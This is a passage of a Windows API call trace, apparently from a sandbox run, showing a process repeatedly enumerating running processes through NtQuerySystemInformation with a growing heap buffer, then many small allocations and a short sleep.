Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.648] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0185.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.649] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x43074060 [0185.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.650] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x25534) returned 0x43074060 [0185.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.651] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x26558) returned 0x43074060 [0185.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.652] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2757c) returned 0x43074060 [0185.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.652] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x285a0) returned 0x43074060 [0185.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.653] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x295c4) returned 0x43074060 [0185.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.654] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2a5e8) returned 0x43074060 [0185.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.655] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2b60c) returned 0x43074060 [0185.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.656] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2c630) returned 0x43074060 [0185.656] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.657] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2d654) returned 0x43074060 [0185.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.658] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2e678) returned 0x43074060 [0185.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0x0 [0185.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0185.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0185.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1ce63150 [0185.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1ce63150 [0185.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1ce63150 [0185.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x430a2720 [0185.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a2720) returned 1 [0185.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1ce63150 [0185.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x430a2720 [0185.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a2720) returned 1 [0185.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec8c60 [0185.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cec8c60 [0185.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1ce63150 [0185.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cec8c60 [0185.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cec8c60 [0185.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec8c60 [0185.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec8c60 [0185.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec8c60 [0185.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec8c60 [0185.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d8440 [0185.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8440) returned 1 [0185.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce62cd0 [0185.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62cd0) returned 1 [0185.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cec8c60 [0185.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8440 [0185.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8440) returned 1 [0185.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62cd0 [0185.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62cd0) returned 1 [0185.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d8440 [0185.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8440) returned 1 [0185.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec8c60 [0185.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec8c60 [0185.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec8c60 [0185.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1ce63150 [0185.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec8c60 [0185.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec8c60 [0185.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d8440 [0185.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8440) returned 1 [0185.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x430a2720 [0185.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a2720) returned 1 [0185.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1ce63150 [0185.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec8c60 [0185.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1ce63150 [0185.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec8c60 [0185.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1ce63150 [0185.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63150) returned 1 [0185.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0185.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0185.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec8c60 [0193.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec8c60 [0193.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cec8c60 [0193.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5d8b0 [0193.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec8c60 [0193.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cec8c60 [0193.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec8c60 [0193.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec8c60 [0193.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cec8c60 [0193.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0193.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0193.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0193.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cec8c60 [0193.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec8c60 [0193.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c60) returned 1 [0193.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074060) returned 1 [0193.105] Sleep (dwMilliseconds=0x64) [0193.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x42be49e0 [0193.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49e0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x42be49e0, ResultLength=0x0) returned 0xc0000004 [0193.208] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49e0, Size=0x2048) returned 0x43034090 [0193.209] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0193.209] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x1cf26600 [0193.209] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0193.210] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x4090) returned 0x43074060 [0193.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.213] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0193.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.214] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0193.214] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.214] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0193.215] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.215] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0193.215] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.215] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0193.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.216] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0193.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.217] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0193.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.217] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0193.218] 